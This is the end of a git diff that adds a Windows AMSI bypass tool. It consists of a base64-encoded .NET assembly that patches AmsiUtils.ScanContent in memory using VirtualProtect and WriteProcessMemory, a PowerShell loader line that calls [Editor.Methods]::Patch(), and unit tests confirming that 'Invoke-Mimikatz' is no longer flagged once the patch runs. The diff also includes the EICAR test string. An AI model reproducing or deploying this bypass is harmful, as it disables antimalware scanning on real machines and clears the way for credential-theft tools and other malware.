AAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACGLgAAAAAAAEgAAAACAAUA5CEAAIALAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBABDAAAAAQAAEdAUAAABKA8AAApvEAAACnIBAABwbxEAAApyTwAAcB8obxIAAArQAgAAAigPAAAKcmcAAHAfKCgSAAAKCgYoAwAABioKFyoAABMwBQAzAQAAAgAAEQJvEwAACigUAAAKA28TAAAKKBQAAAoCbxMAAAoTBRIFKBUAAAoKA28TAAAKEwUSBSgVAAAKCxQMKBYAAAoeM0EfDY0cAAABJdABAAAEKBcAAAoMEgEoGAAACigZAAAKEwYWEwcrEQgRBxhYEQYRB5GcEQcXWBMHEQcRBo5pMucrQByNHAAAASUWH2icJRsgwwAAAJwMEgEoGgAACigbAAAKEwgWEwkrEQgRCRdYEQgRCZGcEQkXWBMJEQkRCI5pMucGCI5paigcAAAKH0ASAygGAAAGLQZzHQAACnp+HgAAChMEKAUAAAYGCAiOaRIEKAcAAAYtBnMdAAAKeigFAAAGBgiOaWooHAAACigEAAAGLQZzHQAACnoGCI5paigcAAAKCRIDKAYAAAYtBnMdAAAKeioAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAvAMAACN+AAAoBAAASAUAACNTdHJpbmdzAAAAAHAJAACIAAAAI1VTAPgJAAAQAAAAI0dVSUQAAAAICgAAeAEAACNCbG9iAAAAAAAAAAIAAAFXlQI0CQIAAAD6ATMAFgAAAQAAACEAAAAEAAAAAQAAAAcAAAAQAAAAHgAAAA4AAAABAAAAAgAAAAEAAAAEAAAAAQAAAAEAAAADAAAAAQAAAAAANAMBAAAAAAAGADwCPAQGAKkCPAQGAIkBAgQPAFwEAAAGALEBkwMGAB8CkwMGAAACkwMGAJACkwMGAFwCkwMGAHUCkwMGAMgBkwMGAJ0BHQQGAHsBHQQGAOMBkwMGAMUEWAMGALQDkwMGAAsBWAMGAGABPAQGAEMBWAMKAMMEdgMGAFABWAMGAB8BWAMGACsFkwMGAHQEkwMGAFUBkwMGAIEEPAQGAPsDWAMGAMcCWAMGACEFWAMGAOcAWAMGAOADWAMGAPoDWAMOAKUDEQMAAAAAbwAAAAAAAQABAIEBEAAVBPMDPQABAAEAAAEAAHgAAAA9AAEACAATAQAACQAAAE0AAgAIADMBLgCTAFAgAAAAAJYAAgOXAAEAnyAAAEgAkQCpAJsAAQCkIAAAAACWAAIDoQADAAAAAACAAJEg0QCpAAUAAAAAAIAAkSCZBLAACAAAAAAAgACRINsEtAAIAAAAAACAAJEgNAW9AAwAAAABAA8FAAACAJcAAAABAAgDAAACAAMFAAABAJAEAAACAKsEAAADANsCAAABALkEAAACANsCAAADAOoEAgAEAMwEAAABAJAEAAACAKsEAAADAMQDAAAEANUCAgAFAF8DCQDtAwEAEQDtAwYAGQDtAwoAKQDtAxAAMQDtAxAAOQDtAxAAQQDtAxAASQDtAxAAUQDtAxAAWQDtAxAAYQDtAxUAaQDtAxAAcQDtAxAAkQDtAwYAqQAxAR8AqQAnBSYAuQBNASsAqQDHADEAyQD6AEoA0QC5AE8AiQDNA1UA2QDMAlkA0QAXBV0A2QAmAGUA+QBrBGkA2QABAG8A+QBrBHMAAQH3BHkACQHtAwYA2QC/A34ALgALAMgALgATANEALgAbAPAALgAjAPkALgArAB4BLgAzAB4BLgA7AB4BLgBDAPkALgBLACQBLgBTAB4BLgBbAB4BLgBjADwBLgBrAGYBYwBzAHMBAQANAAAABAAaADkAJwNAAQkA0QABAEABCwCZBAEAQAENANsEAQBAAQ8ANAUBAKwuAAABAASAAAABAAAAAAAAAAAAAAAAAOICAAACAAAAAAAAAAAAAACBAKAAAAAAAAEAAAAAAAAAAAAAAIoAdgMAAAAAAgAAAAAAAAAAAAAAgQBYAwAAAAAEAAMAAAAAVG9JbnQzMgBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTEzAFRvSW50NjQANTk2MEJEMDcyQzEzRTVFQUM5QjM0RkM5RkFBQzc5M0UwN0YyRUFFMDQ2MjQ3RkY1NDg2MzI0QjUwMTJGQkI0NgA8TW9kdWxlPgA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz4AbWV0YWRhdGEAbXNjb3JsaWIAU2NhbkNvbnRlbnRTdHViAFByZXBhcmVNZXRob2QAR2V0TWV0aG9kAEZsdXNoSW5zdHJ1Y3Rpb25DYWNoZQBSdW50aW1lRmllbGRIYW5kbGUAZ2V0X01ldGhvZEhhbmRsZQBSdW50aW1lTWV0aG9kSGFuZGxlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFZhbHVlVHlwZQBHZXRUeXBlAE1ldGhvZEJhc2UAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBCeXRlAGdldF9TaXplAG5TaXplAGR3U2l6ZQBBbXNpQnlwYXNzTWFuYWdlZEFwaUNhbGxIb29raW5nAFBhdGNoAG9yaWdpbmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABrZXJuZWwzMi5kbGwAQW1zaUJ5cGFzc01hbmFnZWRBcGlDYWxsSG9va2luZy5kbGwAU3lzdGVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBXaW4zMkV4Y2VwdGlvbgBNZXRob2RJbmZvAFplcm8AbHBCdWZmZXIAR2V0RnVuY3Rpb25Qb2ludGVyAEJpdENvbnZlcnRlcgAuY3RvcgBFZGl0b3IAVUludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MATWV0aG9kcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAACoPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")); +[Editor.Methods]::Patch(); \ No newline at end of file diff --git a/src/UnitTests/AmsiBypassTests.cs b/src/UnitTests/AmsiBypassTests.cs new file mode 100644 index 0000000..7839d21 --- /dev/null +++ b/src/UnitTests/AmsiBypassTests.cs @@ -0,0 +1,51 @@ +using Editor; +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System; +using System.Linq; +using System.Management.Automation; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace UnitTests { + [TestClass] + public class AmsiBypassTests { + [TestMethod] + public void AmsiBypassTest() { + Assert.IsTrue(this.RunMaliciousCommandExpectException(AmsiBypassTests.INVOKE_MIMIKATZ)); + Methods.Patch(); + Assert.IsFalse(this.RunMaliciousCommandExpectException(AmsiBypassTests.INVOKE_MIMIKATZ)); + } + + //private void Foo() { + // Type current = typeof(Anchor).Assembly.GetType("Editor.Methods"); + // MethodInfo method = current.GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static); + // foreach (object attribute in method.GetCustomAttributes(false)) { + // if (attribute is DllImportAttribute) { + // FieldInfo field = typeof(DllImportAttribute).GetField("_val", BindingFlags.NonPublic | BindingFlags.Instance); + // field.SetValue(attribute, "kernel32.dll"); + + // field = typeof(DllImportAttribute).GetField("EntryPoint"); + // field.SetValue(attribute, "WriteProcessMemory"); + // } + // } + //} + + private bool RunMaliciousCommandExpectException(string script) { + try { + PowerShell powershell = PowerShell.Create(); + powershell.AddScript(script); + PSObject[] results = powershell.Invoke().ToArray(); + return false; + } catch (ParseException ex) { + return ex.Message.Contains("malicious content"); + } catch (Exception ex) { + return false; + } + } + + private const string INVOKE_MIMIKATZ = "Invoke-Mimikatz"; + private static readonly string HELLO_EICAR = string.Format("Write-Host '{0}'", AmsiBypassTests.EICAR); + private const string EICAR = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; + } +} diff --git a/src/UnitTests/Properties/AssemblyInfo.cs b/src/UnitTests/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..8525411 --- /dev/null +++ b/src/UnitTests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("UnitTests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("UnitTests")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("7bcb1490-0192-4359-ae24-90e7a354adc5")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/src/UnitTests/UnitTests.csproj b/src/UnitTests/UnitTests.csproj new file mode 100644 index 0000000..e1bccdf --- /dev/null +++ b/src/UnitTests/UnitTests.csproj @@ -0,0 +1,75 @@ + + + + + + Debug + AnyCPU + {7BCB1490-0192-4359-AE24-90E7A354ADC5} + Library + Properties + UnitTests + UnitTests + v4.8 + 512 + {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} + 15.0 + $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) + $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages + False + UnitTest + + + + + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\packages\MSTest.TestFramework.2.2.7\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll + + + ..\packages\MSTest.TestFramework.2.2.7\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll + + + + + + + + + + + + + + + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B} + AmsiBypassManagedApiCallHooking + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/src/UnitTests/packages.config b/src/UnitTests/packages.config new file mode 100644 index 0000000..e57ef05 --- /dev/null +++ b/src/UnitTests/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file